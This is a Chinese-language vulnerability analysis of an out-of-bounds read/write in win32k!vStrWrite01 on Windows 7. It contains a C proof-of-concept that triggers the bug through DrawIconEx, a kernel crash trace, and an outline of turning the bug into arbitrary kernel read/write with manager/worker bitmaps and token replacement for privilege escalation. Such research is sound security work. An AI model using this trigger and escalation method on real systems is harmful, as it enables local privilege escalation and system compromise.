基本信息 漏洞类型:内存越界读写漏洞 漏洞位置:win32k!vStrWrite01+0x36a
PoC 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <Windows.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> int main (int argc, char *argv[]) { LoadLibraryA("user32.dll" ); HDC r0 = CreateCompatibleDC(0x0 ); HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42 , 0xa ); SelectObject(r0, r1); DrawIconEx(r0, 0x0 , 0x0 , (HICON)0x30000010003 , 0x0 , 0xfffffffffebffffc , 0x0 , 0x0 , 0x6 ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=fffff900c1f7b000 rbx=0000000000000000 rcx=fffff901c1f7b238 rdx=fffff900c00d7420 rsi=0000000000000000 rdi=0000000000000000 rip=fffff9600012218a rsp=fffff88006083bd0 rbp=0000000000000000 r8=0000000000000020 r9=fffff96000080000 r10=fffff88006083c30 r11=0000000000000000 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei ng nz ac po cy win32k!vStrWrite01+0x36a: fffff960`0012218a 418b36 mov esi,dword ptr [r14] ds:00000000`00000000=???????? Resetting default scope STACK_TEXT: fffff880`06083168 fffff800`03fb8d92 : fffff901`c1f7b238 fffffa80`028abb60 00000000`00000065 fffff800`03f0d178 : nt!RtlpBreakWithStatusInstruction fffff880`06083170 fffff800`03fb9b7e : fffff880`00000003 fffff880`06083a40 fffff800`03f0da20 fffff880`060837d0 : nt!KiBugCheckDebugBreak+0x12 fffff880`060831d0 fffff800`03ed1744 : 00000000`00000000 fffff8a0`02320674 fffff8a0`00020019 fffff800`03edb13d : nt!KeBugCheck2+0x71e fffff880`060838a0 fffff800`03e7bc6f : 00000000`00000050 fffff901`c1f7b238 00000000`00000000 fffff880`06083a40 : nt!KeBugCheckEx+0x104 fffff880`060838e0 fffff800`03ecf76e : 00000000`00000000 fffff901`c1f7b238 00000000`00000000 00000000`00000000 : nt! ?? ::FNODOBFM::`string'+0x44891 fffff880`06083a40 fffff960`0012218a : fffff880`06084130 fffff960`00132ce5 fffff880`060847a8 fffff960`00106391 : nt!KiPageFault+0x16e fffff880`06083bd0 fffff960`0011fce6 : fffff900`c0081000 fffff900`c00d7420 fffff900`c1f7b000 fffff880`06084130 : win32k!vStrWrite01+0x36a fffff880`06083c80 fffff960`00121dd7 : fffff900`c1f7b018 fffff900`c06ac018 00000000`00000000 fffff880`060844f0 : win32k!EngStretchBltNew+0x164a fffff880`06084210 fffff960`0026914e : 00000000`00000000 fffff900`c06ac018 00000000`00000000 fffff880`060844f0 : win32k!EngStretchBlt+0x797 fffff880`06084340 fffff960`00266b33 : fffff900`c1f7b018 fffff900`c06ac018 00000000`00000000 fffff880`060844f0 : win32k!EngStretchBltROP+0x5fe fffff880`06084470 fffff960`0026613f : fffff900`c00c0010 00000000`00000000 00000000`00000001 fffff900`00000000 : win32k!BLTRECORD::bStretch+0x623 fffff880`060845c0 fffff960`0017d06f : fffff900`c00b4160 00000000`0c01022d 00000000`00000000 000007fe`fd705000 : win32k!GreStretchBltInternal+0xa37 fffff880`06084860 fffff960`0017d485 : 00000000`00000000 00000000`febffffc fffff900`c00b4160 00000000`00000000 : win32k!BltIcon+0x18f fffff880`06084910 fffff960`0015693d : 00000000`0c01022d fffff880`00000000 00000000`00000000 00000000`00000000 : win32k!DrawIconEx+0x3b1 fffff880`060849f0 fffff800`03ed08d3 : fffffa80`028abb60 00000000`0013fa38 fffff880`06084a88 00000000`0c01022d : win32k!NtUserDrawIconEx+0x14d fffff880`06084a70 00000000`76e5526a : 00000000`76e551ff 00000000`00000000 00000000`770b5628 00000000`00340000 : nt!KiSystemServiceCopyEnd+0x13 00000000`0013fa18 00000000`76e551ff : 00000000`00000000 00000000`770b5628 00000000`00340000 00000000`00000001 : USER32!NtUserDrawIconEx+0xa 00000000`0013fa20 00000001`3f2e1075 : 00000000`0c01022d 00000000`00000000 00000000`00000000 00000000`00000000 : USER32!DrawIconEx+0xd9 00000000`0013fae0 00000000`0c01022d : 00000000`00000000 00000000`00000000 00000000`00000000 00000001`00000000 : poc!main+0x75 [c:\users\ycdxsb\desktop\poc\poc\poc.cpp @ 14] 00000000`0013fae8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000001`00000000 00000001`febffffc : 0xc01022d SYMBOL_NAME: win32k!vStrWrite01+36a IMAGE_VERSION: 6.1.7601.17514 STACK_COMMAND: .thread ; .cxr ; kb FAILURE_BUCKET_ID: X64_0x50_win32k!vStrWrite01+36a OS_VERSION: 7.1.7601.17514 BUILDLAB_STR: win7sp1_rtm OSPLATFORM_TYPE: x64 OSNAME: Windows 7 FAILURE_ID_HASH: {f2899406-e264-20bf-8eba-e41d212357e9} Followup: MachineOwner
问题在于Win32k!vStrWrite01+0x36a
处,寄存器值发生了错误。
可以看到在崩溃处有tmp = *destAddr
,同时后面还有*destAddr = tmp
的操作,中间有对tmp
进行修改,如果控制了崩溃处的destAddr
(越界地址oobAddr),那么可以在后面进行内存破坏。
越界写分析 利用原语:
tmp = *destAddr
:地址读*destAddr = tmp
:地址写地址计算:
vStrWrite01(struct STRRUN *pStrrun, struct XRUNLEN *a2,struct SURFACE *pSurface, struct CLIPOBJ *a4)
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct _STRRUN { LONG yPos; LONG cRep; XRUNLEN xrl; } STRRUN; typedef struct _XRUNLEN { LONG xPos; LONG cRun; LONG aul[1]; } XRUNLEN;
地址读时的oobAddr值:
1 2 3 4 oobAddr= result + 4 * (pStrrun->xrl.xPos >> 5); result = pSurface->SurfObj.pvScan0 + offset; offset = pStrrun.yPos * pSurface->SurfObj.lDelta;
地址写时的oobAddr值:
1 2 3 oobAddr= result + 4 (pStrrun->xrl.xPos >> 5) + diff; diff = loopCount * pSurface->SurfObj.lDelta
函数大致流程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 while(){ do{ destAddr = result + 4 * (pStrrun->xrl.xPos >> 5); //读取时的oobAddr .... tmp = *destAddr // crash do{ if(){ tmp |= xxxxxx }else{ tmp &= xxxxxx } }while() if(){ // 满足条件时,写入 *destAddr = tmp; //写入时的oobAddr } }while() result += pSurface->SurfObj.lDelta; //每次循环oobAddr会增加 }
影响读写oobAddr值的有pStrrun->yPos
,pStrrun->xrl.xPos
,pSurface->SurfObj.lDelta
以及循环次数loopCount
,可以通过逆向获得具体关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 DrawIconEx(exploit_dc, 0x900 , 0xb , (HICON)0x40000010003 , 0x0 , 0xffe00000 , 0x0 , 0x0 , 0x1 );
地址读时的oobAddr:
1 2 3 4 oobAddr= result + 4 * (pStrrun->xrl.xPos >> 5); result = pSurface->SurfObj.pvScan0 + offset offset = pStrrun.yPos * pSurface->SurfObj.lDelta;
地址写时的oobAddr:
1 2 oobAddr= result + 4 (pStrrun->xrl.xPos >> 5) + loopCount * pSurface->SurfObj.lDelta;
此时条件为:
已有漏洞分配的BITMAP1,地址为addr
可控制oobAddr读时的地址 addr + offset
可控制oobAddr写时的地址 addr + offset + diff(diff = 0xa2a0 * 0xb = 0x6fce0)
Exploit 在相对于漏洞内核对象偏移0x100000000+0x358处进行内存读取,然后在最后一次循环时在0x100000000+0x70038处写入内容,分配的BITMAP大小为0x7000
4字节地址读写到任意地址读写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 typedef struct _SURFOBJ64 { pvScan0偏移0x38 ULONG64 dhsurf; ULONG64 hsurf; ULONG64 dhpdev; ULONG64 hdev; SIZEL sizlBitmap; ULONG64 cjBits; ULONG64 pvBits; ULONG64 pvScan0; LONG32 lDelta; ULONG32 iUniq; ULONG32 iBitmapFormat; USHORT iType; USHORT fjBitmap; void operator =(const SURFOBJ32 &surf ) { dhsurf = surf.dhsurf; hsurf = surf.hsurf; dhpdev = surf.dhpdev; hdev = surf.hdev; sizlBitmap = surf.sizlBitmap; cjBits = surf.cjBits; pvBits = surf.pvBits; pvScan0 = surf.pvScan0; lDelta = surf.lDelta; iUniq = surf.iUniq; iBitmapFormat = surf.iBitmapFormat; iType = surf.iType; fjBitmap = surf.fjBitmap; } } SURFOBJ64;
1 2 3 4 5 6 7 typedef struct tagSize { LONG cx; LONG cy; } SIZE,*PSIZE,*LPSIZE; typedef SIZE SIZEL;
1 Specifies a SIZEL structure that contains the width and height, in pixels, of the bitmap. A SIZEL structure is identical to a SIZE structure.
SIZEL sizlBitmap
,是限定位图的长宽的,即存储Pixel Data的长宽大小,四字节写也就表明可以修改Pixel Data的大小(cx或者cy)
利用过程 :
CreateCompatibleBitmap申请VulBITMAP,并获得VulBITMAP的内核地址 计算oob读写地址 在oob读地址处申请BITMAP1,在oob写处申请BITMAP2,大小为0x7000 触发漏洞,读取BITMAP1中的sIzlBitmap值,修改BITMAP2对象的sizlBitmap值,对BITMAP2使用SetBitmapBits和GetBitmapBits越界读写BITMAP3的pvScan0 BITMAP2作为Manager,BITMAP3作为worker,实现任意读写,替换token等提权
参考链接